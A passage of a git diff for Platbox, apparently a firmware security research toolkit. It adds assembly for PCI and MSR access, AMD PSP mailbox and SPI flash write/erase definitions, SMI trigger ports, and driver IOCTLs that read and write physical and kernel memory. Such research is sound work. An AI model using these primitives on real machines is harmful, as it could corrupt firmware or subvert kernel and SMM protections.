rdx + mov dx, 0CF8h + mov rax, rcx + out dx, eax + xor rax, rax + pop rdx + mov rax, rdx + mov dx, 0CFCh + out dx, al + sti + ret _write_pci_byte ENDP ; void _write_pci_word( UINT32 CF8, UINT32 value); _write_pci_word PROC PUBLIC - push rdx - cli - xor rdx, rdx - mov dx, 0CF8h - mov rax, rcx - out dx, eax - xor rax, rax - pop rdx - mov rax, rdx - mov dx, 0CFCh - out dx, ax - sti - ret + push rdx + cli + xor rdx, rdx + mov dx, 0CF8h + mov rax, rcx + out dx, eax + xor rax, rax + pop rdx + mov rax, rdx + mov dx, 0CFCh + out dx, ax + sti + ret _write_pci_word ENDP ; void _write_pci_dword( UINT32 CF8, UINT32 value); _write_pci_dword PROC PUBLIC - push rdx - cli - xor rdx, rdx - mov dx, 0CF8h - mov rax, rcx - out dx, eax - xor rax, rax - pop rdx - mov rax, rdx - mov dx, 0CFCh - out dx, eax - sti - ret + push rdx + cli + xor rdx, rdx + mov dx, 0CF8h + mov rax, rcx + out dx, eax + xor rax, rax + pop rdx + mov rax, rdx + mov dx, 0CFCh + out dx, eax + sti + ret _write_pci_dword ENDP ; void _read_pci_bar_size( UINT32 CF8, PVOID pOut); _read_pci_bar_size PROC PUBLIC - push rbx - push rsi - mov rbx, rdx - mov rsi, rcx + push rbx + push rsi + mov rbx, rdx + mov rsi, rcx ; read the current BAR value - call _read_pci_dword + call _read_pci_dword ; writes 0xFFFFFFFF to the BAR - cli - xor rdx, rdx - mov dx, 0CF8h - mov rax, rsi - out dx, eax - xor rax, rax - not rax - mov dx, 0CFCh - out dx, eax + cli + xor rdx, rdx + mov dx, 0CF8h + mov rax, rsi + out dx, eax + xor rax, rax + not rax + mov dx, 0CFCh + out dx, eax ; reads the size - xor rax, rax - in eax, dx - mov rcx, rax + xor rax, rax + in eax, dx + mov rcx, rax ; restore the BAR with saved value - mov dx, 0CFCh - mov eax, dword ptr[rbx] - out dx, eax + mov dx, 0CFCh + mov eax, dword ptr[rbx] + out dx, eax ; write the result into the output - mov qword ptr[rbx], rcx - sti - pop rsi - pop rbx - ret + mov qword ptr[rbx], rcx + sti + pop rsi + pop rbx + ret _read_pci_bar_size ENDP @@ -233,18 +294,18 @@ _read_pci_bar_size ENDP push rbx mov rbx, rdx rdmsr - shl rdx, 20h - or rax, rdx + shl rdx, 20h + or rax, rdx mov qword ptr [rbx], rax - pop rbx + pop rbx ret _rdmsr ENDP ; _wrmsr(int MSR, UINT64 Value) _wrmsr PROC PUBLIC - xor rax, rax + xor rax, rax mov eax, edx - shr rdx, 20h + shr rdx, 20h wrmsr ret _wrmsr ENDP diff --git a/PlatboxDrv/windows/Platbox/x86Bios.c b/PlatboxDrv/windows/Platbox/x86Bios.c deleted file mode 100644 index 9c93eeb..0000000 --- a/PlatboxDrv/windows/Platbox/x86Bios.c +++ /dev/null @@ -1,16 +0,0 @@ -#include "x86Bios.h" - -NTSTATUS Init(VOID) -{ - /* Get "real mode" memory for an E820_DESCRIPTOR. */ - - ULONG cb = sizeof(E820_DESCRIPTOR); - NTSTATUS status = x86BiosAllocateBuffer(&cb, &m_Segment, &m_Offset); - if (NOT NT_SUCCESS(status)) return status; - - /* Initialisation isn't necessary, but has the merit that we can - check that the buffer is usable. */ - - E820_DESCRIPTOR desc = { 0 }; - return x86BiosWriteMemory(m_Segment, m_Offset, &desc, sizeof(desc)); -}; \ No newline at end of file diff --git a/PlatboxDrv/windows/Platbox/x86Bios.h b/PlatboxDrv/windows/Platbox/x86Bios.h deleted file mode 100644 index 271fe7b..0000000 --- a/PlatboxDrv/windows/Platbox/x86Bios.h +++ /dev/null @@ -1,42 +0,0 @@ -#pragma once -#include - -typedef struct _X86BIOS_REGISTERS // invented names -{ - ULONG Eax; - ULONG Ecx; - ULONG Edx; - ULONG Ebx; - ULONG Ebp; - ULONG Esi; - ULONG Edi; - USHORT SegDs; - USHORT SegEs; -} X86BIOS_REGISTERS, * PX86BIOS_REGISTERS; - -/* Undocumented imports from the HAL */ -NTHALAPI BOOLEAN x86BiosCall(ULONG, PX86BIOS_REGISTERS); -NTHALAPI NTSTATUS x86BiosAllocateBuffer(ULONG*, USHORT*, USHORT*); -NTHALAPI NTSTATUS x86BiosFreeBuffer(USHORT, USHORT); -NTHALAPI NTSTATUS x86BiosReadMemory(USHORT, USHORT, PVOID, ULONG); -NTHALAPI NTSTATUS x86BiosWriteMemory(USHORT, USHORT, PVOID, ULONG); - - -#pragma pack (push, 8) /* in case driver and application - get compiled differently */ -typedef struct _E820_DESCRIPTOR { - LARGE_INTEGER Base; - LARGE_INTEGER Size; - ULONG Type; - ULONG ExtAttr; // not actually used by WINLOAD -} E820_DESCRIPTOR, * PE820_DESCRIPTOR; - -typedef struct _E820_MAP { - ULONG Count; - E820_DESCRIPTOR Descriptors[1]; -} E820_MAP, * PE820_MAP; - -#pragma pack (pop) - -NTSTATUS GetMap(PE820_MAP*, ULONG*); -VOID ReleaseMap(PE820_MAP); diff --git a/PlatboxLib/CMakeLists.txt b/PlatboxLib/CMakeLists.txt index 53f3828..d4d00b3 100644 --- a/PlatboxLib/CMakeLists.txt +++ b/PlatboxLib/CMakeLists.txt @@ -19,6 +19,7 @@ if (WIN32) set (PROJECT_SOURCES src/msr.cpp src/pci.cpp + src/io.cpp src/physmem.cpp src/UEFIVars.cpp src/global.cpp @@ -34,8 +35,11 @@ if (WIN32) src/amd/amd_chipset.cpp src/amd/amd_spi.cpp + src/amd/amd_acpi.cpp + src/amd/amd_psp.cpp src/smm/smm_communicate.cpp + src/smm/smi.cpp src/smm/smi_fuzz.cpp ) endif (WIN32) @@ -48,6 +52,7 @@ if (UNIX) set (PROJECT_SOURCES src/msr.cpp src/pci.cpp + src/io.cpp src/physmem.cpp src/UEFIVars.cpp src/global.cpp @@ -59,8 +64,11 @@ if (UNIX) src/amd/amd_chipset.cpp src/amd/amd_spi.cpp + src/amd/amd_acpi.cpp + src/amd/amd_psp.cpp src/smm/smm_communicate.cpp + src/smm/smi.cpp src/smm/smi_fuzz.cpp ) endif (UNIX) diff --git a/PlatboxLib/inc/Util.h b/PlatboxLib/inc/Util.h index f4f7cdb..85f40d7 100644 --- a/PlatboxLib/inc/Util.h +++ b/PlatboxLib/inc/Util.h @@ -1,27 +1,63 @@ -#pragma once -#include -#include -#include -#include - -#include "global.h" // switch for types.h? - -#ifdef _WIN32 - #include "__win.h" -#endif - -/* Utils */ -void print_memory(unsigned long address, char *buffer, unsigned int bytes_to_print); -void get_user_input(char *input, int size); -char **parse_arguments(char *command_line, char arg_delim); -void hexstring_to_opcodes(char *hexstring, unsigned char **pOpcodes, unsigned int *size); -unsigned int u32_swap(unsigned int x); - -#ifdef _WIN32 -void * memmem (const void *haystack, size_t haystack_len, const void *needle, size_t needle_len); -#endif - -void display_guid(GUID *guid); - -void to_guid(const char *guid_str, GUID *guid_arg); - +#pragma once +#include +#include +#include +#include + +#include "global.h" // switch for types.h? + +#ifdef _WIN32 + #include "__win.h" +#endif + +#ifndef BIT0 +#define BIT0 0x0001 +#define BIT1 0x0002 +#define BIT2 0x0004 +#define BIT3 0x0008 +#define BIT4 0x0010 +#define BIT5 0x0020 +#define BIT6 0x0040 +#define BIT7 0x0080 +#define BIT8 0x0100 +#define BIT9 0x0200 +#define BIT10 0x0400 +#define BIT11 0x0800 +#define BIT12 0x1000 +#define BIT13 0x2000 +#define BIT14 0x4000 +#define BIT15 0x8000 +#define BIT16 0x00010000 +#define BIT17 0x00020000 +#define BIT18 0x00040000 +#define BIT19 0x00080000 +#define BIT20 0x00100000 +#define BIT21 0x00200000 +#define BIT22 0x00400000 +#define BIT23 0x00800000 +#define BIT24 0x01000000 +#define BIT25 0x02000000 +#define BIT26 0x04000000 +#define BIT27 0x08000000 +#define BIT28 0x10000000 +#define BIT29 0x20000000 +#define BIT30 0x40000000 +#define BIT31 0x80000000 +#endif + + +/* Utils */ +void print_memory(unsigned long address, char *buffer, unsigned int bytes_to_print); +void get_user_input(char *input, int size); +char **parse_arguments(char *command_line, char arg_delim); +void hexstring_to_opcodes(char *hexstring, unsigned char **pOpcodes, unsigned int *size); +unsigned int u32_swap(unsigned int x); + +#ifdef _WIN32 +void * memmem (const void *haystack, size_t haystack_len, const void *needle, size_t needle_len); +#endif + +void display_guid(GUID *guid); + +void to_guid(const char *guid_str, GUID *guid_arg); + diff --git a/PlatboxLib/inc/_io.h b/PlatboxLib/inc/_io.h new file mode 100644 index 0000000..a2d2e4e --- /dev/null +++ b/PlatboxLib/inc/_io.h @@ -0,0 +1,18 @@ +#pragma once +#include "global.h" +#include "types.h" + +#define IO_SIZE_BYTE 0 +#define IO_SIZE_WORD 1 +#define IO_SIZE_DWORD 2 + +/* IO port operations */ +UINT8 io_inb(UINT16 port); +UINT16 io_inw(UINT16 port); +UINT32 io_ind(UINT16 port); + +void io_outb(UINT16 port, UINT8 val); +void io_outw(UINT16 port, UINT16 val); +void io_outd(UINT16 port, UINT32 val); + +void io_index_data(UINT16 port_idx, UINT32 idx_val, UINT16 port_data, UINT32 data_val); \ No newline at end of file diff --git a/PlatboxLib/inc/amd/amd_acpi.h b/PlatboxLib/inc/amd/amd_acpi.h new file mode 100644 index 0000000..6b4403c --- /dev/null +++ b/PlatboxLib/inc/amd/amd_acpi.h @@ -0,0 +1,30 @@ +#pragma once +#include "types.h" + +extern UINT64 gAcpiMMIOAddr; + +#define IO_PM_INDEX 0xCD6 +#define IO_PM_DATA 0xCD7 + +#define AMD_ACPI_MMIO_BASE 0xfed80000 + +#define ACPI_OFFSET_SM_PCI 0 +#define ACPI_OFFSET_GPIO 0x100 +#define ACPI_OFFSET_SMI 0x200 +#define ACPI_OFFSET_PMIO 0x300 +#define ACPI_OFFSET_PMIO2 0x400 +#define ACPI_OFFSET_BIOS_RAM 0x500 +#define ACPI_OFFSET_CMOS_RAM 0x600 +#define ACPI_OFFSET_CMOS 0x700 +#define ACPI_OFFSET_ACPI 0x800 +#define ACPI_OFFSET_ASF 0x900 +#define ACPI_OFFSET_SMBUS 0xA00 +#define ACPI_OFFSET_WATCHDOG 0xB00 +#define ACPI_OFFSET_HPET 0xC00 +#define ACPI_OFFSET_IOMUX 0xD00 +#define ACPI_OFFSET_MISC 0xE00 + +#define ACPI_PMIO_SMI_CMD ACPI_OFFSET_PMIO + 0x6a + +UINT16 get_amd_smi_trigger_port(); +void get_amd_smi_trigger_port_iopm(); \ No newline at end of file diff --git a/PlatboxLib/inc/amd/amd_chipset.h b/PlatboxLib/inc/amd/amd_chipset.h index 1ef6e48..e58a9fe 100644 --- a/PlatboxLib/inc/amd/amd_chipset.h +++ b/PlatboxLib/inc/amd/amd_chipset.h @@ -1,6 +1,7 @@ #pragma once #include "types.h" #include "amd_spi.h" +#include "amd_acpi.h" void amd_retrieve_chipset_information(); void amd_print_chipset_information(); @@ -304,6 +305,36 @@ enum AMD_MSRS { */ AMD_MSR_TOP_OF_MEMORY = 0xC001001A, + + /* + MSR C001_0010 System Configuration (SYS_CFG) + + Bits Description + 63:23 Reserved. + 22 Tom2ForceMemTypeWB: top of memory 2 memory type write back. Read-write. Reset: 0. + 1=The default memory type of memory between 4GB and TOM2 is write back instead of the memory + type defined by MSR0000_02FF[MemType]. For this bit to have any effect, + MSR0000_02FF[MtrrDefTypeEn] must be 1. MTRRs and PAT can be used to override this memory + type. + 21 MtrrTom2En: MTRR top of memory 2 enable. Read-write. Reset: 0. 0=MSRC001_001D [Top Of + Memory 2 (TOM2)] is disabled. 1=This register is enabled. See D0F0x64_x19[TomEn]. + 20 MtrrVarDramEn: MTRR variable DRAM enable. Read-write. Reset: 0. BIOS: 1. + 0=MSRC001_001A [Top Of Memory (TOP_MEM)] and IORRs are disabled. 1=These registers are + enabled. + 19 MtrrFixDramModEn: MTRR fixed RdDram and WrDram modification enable. Read-write. + Reset: 0. Controls access to MSR0000_02[6F:68,59:58,50][RdDram, WrDram]. 0=Access type is + MBZ; writing 00b does not change the hidden value of MSR0000_02[6F:68,59:58,50][RdDram, + WrDram]. 1=Access type is Read-write. BIOS: This bit should be set to 1 during BIOS initialization + of the fixed MTRRs, then cleared to 0 for operation. + 18 MtrrFixDramEn: MTRR fixed RdDram and WrDram attributes enable. Read-write. Reset: 0. + BIOS: 1. 1=Enables the RdDram and WrDram attributes in MSR0000_02[6F:68,59:58,50]. + 17 SysUcLockEn: system lock command enable. Read-write. Reset: 1. 0=Coherent fabric does not + support bus lock transactions. This bit must be set on multi-core processors. + 16 Reserved. + 15:0 Reserved. + */ + AMD_MSR_SYS_CFG = 0xC0010010, + }; diff --git a/PlatboxLib/inc/amd/amd_psp.h b/PlatboxLib/inc/amd/amd_psp.h new file mode 100644 index 0000000..bc07eac --- /dev/null +++ b/PlatboxLib/inc/amd/amd_psp.h @@ -0,0 +1,152 @@ +#include "global.h" + +// +// A lot from there was taken from Coreboot project +// + +#define PSP_CMDRESP_RESP BIT(31) +#define PSP_CMDRESP_ERR_MASK 0xffff + +#define MAX_PSP_NAME_LEN 16 + + +// Taken from linux kernel + +#define PSP_CAPABILITY_SEV BIT(0) +#define PSP_CAPABILITY_TEE BIT(1) +#define PSP_CAPABILITY_PSP_SECURITY_REPORTING BIT(7) + +#define PSP_CAPABILITY_PSP_SECURITY_OFFSET 8 +/* + * The PSP doesn't directly store these bits in the capability register + * but instead copies them from the results of query command. + * Q + * The offsets from the query command are below, and shifted when used. + */ +#define PSP_SECURITY_FUSED_PART 0 +#define PSP_SECURITY_DEBUG_LOCK_ON 2 +#define PSP_SECURITY_TSME_STATUS 5 +#define PSP_SECURITY_ANTI_ROLLBACK_STATUS 7 +#define PSP_SECURITY_RPMC_PRODUCTION_ENABLED 8 +#define PSP_SECURITY_RPMC_SPIROM_AVAILABLE 9 +#define PSP_SECURITY_HSP_TPM_AVAILABLE 10 +#define PSP_SECURITY_ROM_ARMOR_ENFORCED 11 + + +#define MSR_AMD_PSP_ADDR 0xc00110a2 +#define PSP_MAILBOX_COMMAND_OFFSET 0x10570 /* 4 bytes */ +#define PSP_MAILBOX_BUFFER_L_OFFSET 0x10574 /* 4 bytes */ +#define PSP_MAILBOX_BUFFER_H_OFFSET 0x10578 /* 4 bytes */ + + +#define PSP_MAILBOX_FEATURE_REG 0x109FC +#define PSP_MAILBOX_INTEN_REG 0x10690 +#define PSP_MAILBOX_INTSTS_REG 0x10694 + + +#define SMU_INDEX_ADDR 0xb8 /* 32 bit */ +#define SMU_DATA_ADDR 0xbc /* 32 bit */ + +UINT32 smu_read32(UINT32 reg); +void smu_write32(UINT32 reg, UINT32 val); + +#pragma pack (push, 1) +union pspv2_mbox_command { + UINT32 val; + struct pspv2_mbox_cmd_fields { + UINT16 status; + UINT32 command; + UINT32 reserved:6; + UINT32 recovery:1; + UINT32 ready:1; + } _mbox_fields; +}; + +#pragma pack (pop) + + +#define SMU_PSP_PUBLIC_BASE 0x3800000 + +UINT32 read_psp_feature_reg(); +UINT64 get_psp_mbox_addr(); +UINT32 read_psp_mbox_cmd_status(); +void set_psp_mbox_cmd_status(UINT32 status); +UINT64 read_psp_mbox_buffer_address(); +void set_psp_mbox_buffer_address(UINT64 address); +void send_psp_msg(BYTE psp_cmd, UINT64 buffer_physaddr); + +#define PSP_MAILBOX_ADDR 0xFDE00000 + PSP_MAILBOX_COMMAND_OFFSET +#define PSP_MAILBOX_PAGE (PSP_MAILBOX_ADDR & 0xFFFFF000) +#define PSP_MAILBOX_OFFSET (PSP_MAILBOX_ADDR & 0x00000FFF) + +#define BUFFER_ADDR 0x1000 + +#define PSP_CMD_GET_CAPABILITIES 0x27 +#define PSP_CMD_GET_HSTI_STATE 0x14 + +#define PSP_CMD_ARMOR_SPI_TRANSACTION 0x51 + +#define PSP_CMD_ARMOR_SPI_TRANSACTION_READ_OP 0x01 +#define PSP_CMD_ARMOR_SPI_TRANSACTION_WRITE_OP 0x02 +#define PSP_CMD_ARMOR_SPI_TRANSACTION_ERASE_OP 0x03 + + +#pragma pack (push, 1) +typedef struct _ArmorSpiTransactionRecord { // 0x20 + /* 0x00 */ UINT32 record_size; + /* 0x04 */ UINT32 unused; + /* 0x08 */ UINT32 trn_type; // 2 Write | 3 Erase + /* 0x0C */ UINT64 aux_memory_page; + /* 0x14 */ UINT32 flash_address; + /* 0x18 */ UINT32 trn_length; // For erase must be 0x1000 + /* 0x1C */ UINT32 unused2; +} ArmorSpiTransactionRecord; +#pragma pack (pop) + + +#define PSP_MAILBOX_PSB_STATUS_OFFSET 0x10994 +#define PSP_MAILBOX_CONFIG2_OFFSET 0x10998 + + +/* PSB Test Status and Error Codes (doc#56654) */ +#define PSB_TEST_STATUS_PASS 0x00 +#define PSB_TEST_STATUS_FUSE_READ_ERR 0x3e +#define PSB_TEST_STATUS_BIOS_KEY_BAD_USAGE 0x81 +#define PSB_TEST_STATUS_BIOS_RTM_SIG_NOENT 0x82 +#define PSB_TEST_STATUS_BIOS_RTM_COPY_ERR 0x83 +#define PSB_TEST_STATUS_BIOS_RTM_BAD_SIG 0x84 +#define PSB_TEST_STATUS_BIOS_KEY_BAD_SIG 0x85 +#define PSB_TEST_STATUS_PLATFORM_BAD_ID 0x86 +#define PSB_TEST_STATUS_BIOS_COPY_BIT_UNSET 0x87 +#define PSB_TEST_STATUS_BIOS_CA_BAD_SIG 0x8a +#define PSB_TEST_STATUS_BIOS_CA_BAD_USAGE 0x8b +#define PSB_TEST_STATUS_BIOS_KEY_BAD_REVISION 0x8c + +#define PSB_TEST_STATUS_MASK 0xFF + + + + + + + +struct PspPsbStatus { + UINT32 platformVendorId: 8; + UINT32 platformModelId: 4; + UINT32 biosKeyRevisionId: 4; + UINT32 rootKeySelect: 4; + UINT32 unknown: 4; + UINT32 platformSecureBootEnable: 1; + UINT32 disableBiosKeyAntiRollback: 1; + UINT32 disableAmdKeyUsage: 1; + UINT32 disableSecureDebugUnlock: 1; + UINT32 customerKeyUnlock: 1; + UINT32 unkown2: 4; +}; + +UINT32 read_psp_psb_status(); +UINT32 read_psp_mbox_config2(); +UINT32 get_psp_hsti_state(); + + +void print_psp_security_configuration(); \ No newline at end of file diff --git a/PlatboxLib/inc/amd/amd_spi.h b/PlatboxLib/inc/amd/amd_spi.h index 31d9699..0b86c0c 100644 --- a/PlatboxLib/inc/amd/amd_spi.h +++ b/PlatboxLib/inc/amd/amd_spi.h @@ -15,7 +15,7 @@ typedef struct _ALT_SPI_CS { #define SPI_INDEX_MODE_READ_BLOCK_BITS 6 #define SPI_INDEX_MODE_READ_BLOCK_SIZE 64 #define SPI_INDEX_MODE_READ_BLOCK_MASK 0x3F -#define SPI_INDEX_MODE_WRITE_BLOCK_FIFO 8 +#define SPI_INDEX_MODE_WRITE_BLOCK_FIFO 64 #define SPI_INDEX_MODE_WRITE_BLOCK_4K 0x1000 #define SPI_INDEX_MODE_WRITE_BLOCK_BITS 12 @@ -148,12 +148,22 @@ typedef struct _SPI { BYTE Reserved7[0x2C]; // 0x80 - BYTE SPI_regx80; - BYTE SPI_regx81; - BYTE SPI_regx82; - - BYTE FIFO[SPI_INDEX_MODE_READ_BLOCK_SIZE]; // Actually is 67 - + union { + struct { + BYTE SPI_regx80; + BYTE SPI_regx81; + BYTE SPI_regx82; + BYTE FIFO[SPI_INDEX_MODE_READ_BLOCK_SIZE]; // Actually is 67 + } mode24; + struct { + BYTE SPI_regx80; + BYTE SPI_regx81; + BYTE SPI_regx82; + BYTE SPI_regx83; + BYTE FIFO[SPI_INDEX_MODE_READ_BLOCK_SIZE]; // Actually is 66 + } mode32; + }; + // XXX To be extended if necessary } SPI; @@ -172,12 +182,19 @@ typedef struct _SPIRestrictedCmd2 { DWORD RestrictedCmdWoAddr2 : 8; } SPIRestrictedCmd2; -// todo: retrieve flash region size dynamically -#define FLASH_SIZE 16 * 1024 * 1024 + +extern UINT32 AMD_FLASH_SIZE; +extern UINT64 AMD_FLASH_BASE; + +#define AMD_DEFAULT_NEW_SPI_ADDR 0xFEC11000 +#define AMD_DEFAULT_NEW_MAPPED_FLASH_ADDRESS 0xFD00000000 +#define AMD_DEFAULT_OLD_MAPPED_FLASH_ADDRESS 0xFF000000 + -void load_spi_information(DWORD spi_addr); -void print_spi_info(); +void load_spi_information(DWORD spi_addr, bool new_chipset); +void print_flash_info(); +void print_spi_ctnl_info(); // SPI Controller operations void amd_spi_clear_fifo_ptr(volatile SPI *spi_base); @@ -200,4 +217,5 @@ extern SPI g_spi_registers; #define Winbond_25Q128JVS 0xEF6018 +#define Winbond_W25Q64FW 0xef6019 #define Winbond_25Q128JVS_SECTOR_ERASE_OP 0x20 \ No newline at end of file diff --git a/PlatboxLib/inc/common_chipset.h b/PlatboxLib/inc/common_chipset.h index 0d4b959..5108667 100644 --- a/PlatboxLib/inc/common_chipset.h +++ b/PlatboxLib/inc/common_chipset.h @@ -33,4 +33,6 @@ int get_processor_type(); void get_chipset_information(); void dump_spi_flash(const char *output_filename); -void get_tseg_region(UINT64 *base, UINT32 *size); \ No newline at end of file +void get_tseg_region(UINT64 *base, UINT32 *size); + +UINT16 get_smi_trigger_port(); \ No newline at end of file diff --git a/PlatboxLib/inc/global.h b/PlatboxLib/inc/global.h index 4f140cf..fc9a6a6 100644 --- a/PlatboxLib/inc/global.h +++ b/PlatboxLib/inc/global.h @@ -23,12 +23,11 @@ void print_green(const char *fmt, ...); void print_red(const char *fmt, ...); extern HANDLE g_hDevice; - extern FUZZER_OBJECT *g_fuzzer; +extern UINT16 g_SMI_TRIGGER_PORT; #define SVC_NAME "PlatboxSvc" - void InitializeDeltaFuzz(); void open_platbox_device(); void close_platbox_device(); @@ -63,15 +62,17 @@ void init_os_specifics(); #define IOCTL_WRITE_PHYSICAL_MEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_READ_MSR CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80C, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_WRITE_MSR CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80D, METHOD_BUFFERED, FILE_ANY_ACCESS) - #define IOCTL_PATCH_CALLBACK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80E, METHOD_BUFFERED, FILE_ANY_ACCESS) - #define IOCTL_RESTORE_CALLBACK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80F, METHOD_BUFFERED, FILE_ANY_ACCESS) - #define IOCTL_REMOVE_ALL_CALLBACKS_HOOKS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x810, METHOD_BUFFERED, FILE_ANY_ACCESS) - #define IOCTL_MAP_PHYSICAL_MEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x811, METHOD_BUFFERED, FILE_ANY_ACCESS) - #define IOCTL_UNMAP_PHYSICAL_MEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS) - #define IOCTL_ALLOC_MEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x813, METHOD_BUFFERED, FILE_ANY_ACCESS) - #define IOCTL_READ_KMEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x814, METHOD_BUFFERED, FILE_ANY_ACCESS) - #define IOCTL_WRITE_KMEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x815, METHOD_BUFFERED, FILE_ANY_ACCESS) - #define IOCTL_GET_PHYSICAL_RANGES CTL_CODE(FILE_DEVICE_UNKNOWN, 0x816, METHOD_BUFFERED, FILE_ANY_ACCESS) + #define IOCTL_READ_IO_PORT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80E, METHOD_BUFFERED, FILE_ANY_ACCESS) + #define IOCTL_WRITE_IO_PORT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80F, METHOD_BUFFERED, FILE_ANY_ACCESS) + #define IOCTL_PATCH_CALLBACK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x810, METHOD_BUFFERED, FILE_ANY_ACCESS) + #define IOCTL_RESTORE_CALLBACK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x811, METHOD_BUFFERED, FILE_ANY_ACCESS) + #define IOCTL_REMOVE_ALL_CALLBACKS_HOOKS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS) + #define IOCTL_MAP_PHYSICAL_MEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x813, METHOD_BUFFERED, FILE_ANY_ACCESS) + #define IOCTL_UNMAP_PHYSICAL_MEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x814, METHOD_BUFFERED, FILE_ANY_ACCESS) + #define IOCTL_ALLOC_MEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x815, METHOD_BUFFERED, FILE_ANY_ACCESS) + #define IOCTL_READ_KMEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x816, METHOD_BUFFERED, FILE_ANY_ACCESS) + #define IOCTL_WRITE_KMEM CTL_CODE(FILE_DEVICE_UNKNOWN, 0x817, METHOD_BUFFERED, FILE_ANY_ACCESS) + #define IOCTL_GET_PHYSICAL_RANGES CTL_CODE(FILE_DEVICE_UNKNOWN, 0x818, METHOD_BUFFERED, FILE_ANY_ACCESS) #endif struct alloc_user_physmem { @@ -84,14 +85,24 @@ struct alloc_user_physmem { // For linux, these are defined in kernetix.h #ifdef _WIN32 typedef struct _SW_SMI_CALL { - UINT8 SwSmiNumber; // 0xb2 - UINT8 SwSmiData; // 0xb3 + UINT64 SwSmiNumber; // 0xb2 + UINT64 SwSmiData; // 0xb3 + UINT64 TriggerPort; UINT64 rax; UINT64 rbx; UINT64 rcx; UINT64 rdx; UINT64 rsi; UINT64 rdi; + UINT64 r8; + UINT64 r9; + UINT64 r10; + UINT64 r11; + UINT64 r12; + UINT64 r13; + UINT64 r14; + UINT64 r15; + // apend here? } SW_SMI_CALL, *PSW_SMI_CALL; typedef struct _READ_PCI_CONFIGURATION_SPACE_CALL { @@ -157,8 +168,13 @@ struct alloc_user_physmem { UINT64 BaseAddress; UINT64 NumberOfBytes; } PHYSICAL_MEMORY_RANGE, *PPHYSICAL_MEMORY_RANGE; -#endif + typedef struct _IO_PORT_CALL { + UINT8 size; + UINT16 port; + UINT32 data; + } IO_PORT_CALL, *PIO_PORT_CALL; +#endif typedef struct _PCI_CONFIG_ADDRESS { DWORD Alignment : 2; @@ -226,3 +242,4 @@ extern PCI_ECAM g_pci_ecam; //#define PCI_ECAM_SIZE 256 * 1024 * 1024 // 256MB +void doSleep(UINT64 milliseconds); \ No newline at end of file diff --git a/PlatboxLib/inc/intel/intel_chipset.h b/PlatboxLib/inc/intel/intel_chipset.h index 6c58d19..abb3d61 100644 --- a/PlatboxLib/inc/intel/intel_chipset.h +++ b/PlatboxLib/inc/intel/intel_chipset.h @@ -2,6 +2,8 @@ #include #include "types.h" +#define INTEL_SMI_TRIGGER_PORT 0xB2 + #define SPI_BIOS_MMIO_BIOS_BFPREG_OFFSET 0 #define SPI_BIOS_MMIO_BIOS_HSFSTS_CTL 4 #define SPI_BIOS_MMIO_BIOS_FADDR 8 diff --git a/PlatboxLib/inc/intel/intel_gpio.h b/PlatboxLib/inc/intel/intel_gpio.h new file mode 100644 index 0000000..bb199e0 --- /dev/null +++ b/PlatboxLib/inc/intel/intel_gpio.h @@ -0,0 +1,606 @@ +#pragma once +#include "types.h" +#include "global.h" +#include "intel_pch_regs_gpio.h" + +#define SBREG_BAR 0xFD000000 + + +// Possible values of Pad Ownership +// +typedef enum { + GpioPadOwnHost = 0x0, + GpioPadOwnCsme = 0x1, + GpioPadOwnIsh = 0x2, +} GPIO_PAD_OWN; + + +#define INTEL_PCR_ID_OPIPHY 0xAC +#define INTEL_PCR_ID_MODPHY0 0xAB +#define INTEL_PCR_ID_MODPHY1 0xAA +#define INTEL_PCR_ID_USB2 0xCA +#define INTEL_PCR_ID_DMI 0x88 +#define INTEL_PCR_ID_PSTH 0x89 +#define INTEL_PCR_ID_DSP 0xD7 +#define INTEL_PCR_ID_ESPISPI 0x72 +#define INTEL_PCR_ID_FIA 0xCF +#define INTEL_PCR_ID_SPF 0x85 +#define INTEL_PCR_ID_SPE 0x84 +#define INTEL_PCR_ID_SPD 0x83 +#define INTEL_PCR_ID_SPC 0x82 +#define INTEL_PCR_ID_SPB 0x81 +#define INTEL_PCR_ID_SPA 0x80 +#define INTEL_PCR_ID_SERIALIO 0xCB +#define INTEL_PCR_ID_LPC 0xC7 +#define INTEL_PCR_ID_SMB 0xC6 +#define INTEL_PCR_ID_ITSS 0xC4 +#define INTEL_PCR_ID_RTC_HOST 0xC3 +#define INTEL_PCR_ID_PSF6 0x7F +#define INTEL_PCR_ID_PSF7 0x7E +#define INTEL_PCR_ID_PSF8 0x7D +#define INTEL_PCR_ID_PSF4 0xBD +#define INTEL_PCR_ID_PSF3 0xBC +#define INTEL_PCR_ID_PSF2 0xBB +#define INTEL_PCR_ID_PSF1 0xBA +#define INTEL_PCR_ID_GPIOCOM0 0x6E +#define INTEL_PCR_ID_GPIOCOM1 0x6D +#define INTEL_PCR_ID_GPIOCOM2 0x6C +#define INTEL_PCR_ID_GPIOCOM3 0x6B +#define INTEL_PCR_ID_GPIOCOM4 0x6A +#define INTEL_PCR_ID_CSME12 0x9C +#define INTEL_PCR_ID_CSME0 0x90 +#define INTEL_PCR_ID_CSME_PSF 0x8F + +/////////////////////////////////////// +/////////////////////////////////////// + +#define GPIO_FAMBAR_OFFSET 0x08 +#define GPIO_PADBAR_OFFSET 0x0C + +/// GPIO Community 4 + +// Number of GPIOs in the PADs +#define GPIO_GPP_S_COUNT 8 +#define GPIO_GPP_E_COUNT 22 +#define GPIO_GPP_K_COUNT 12 +#define GPIO_GPP_F_COUNT 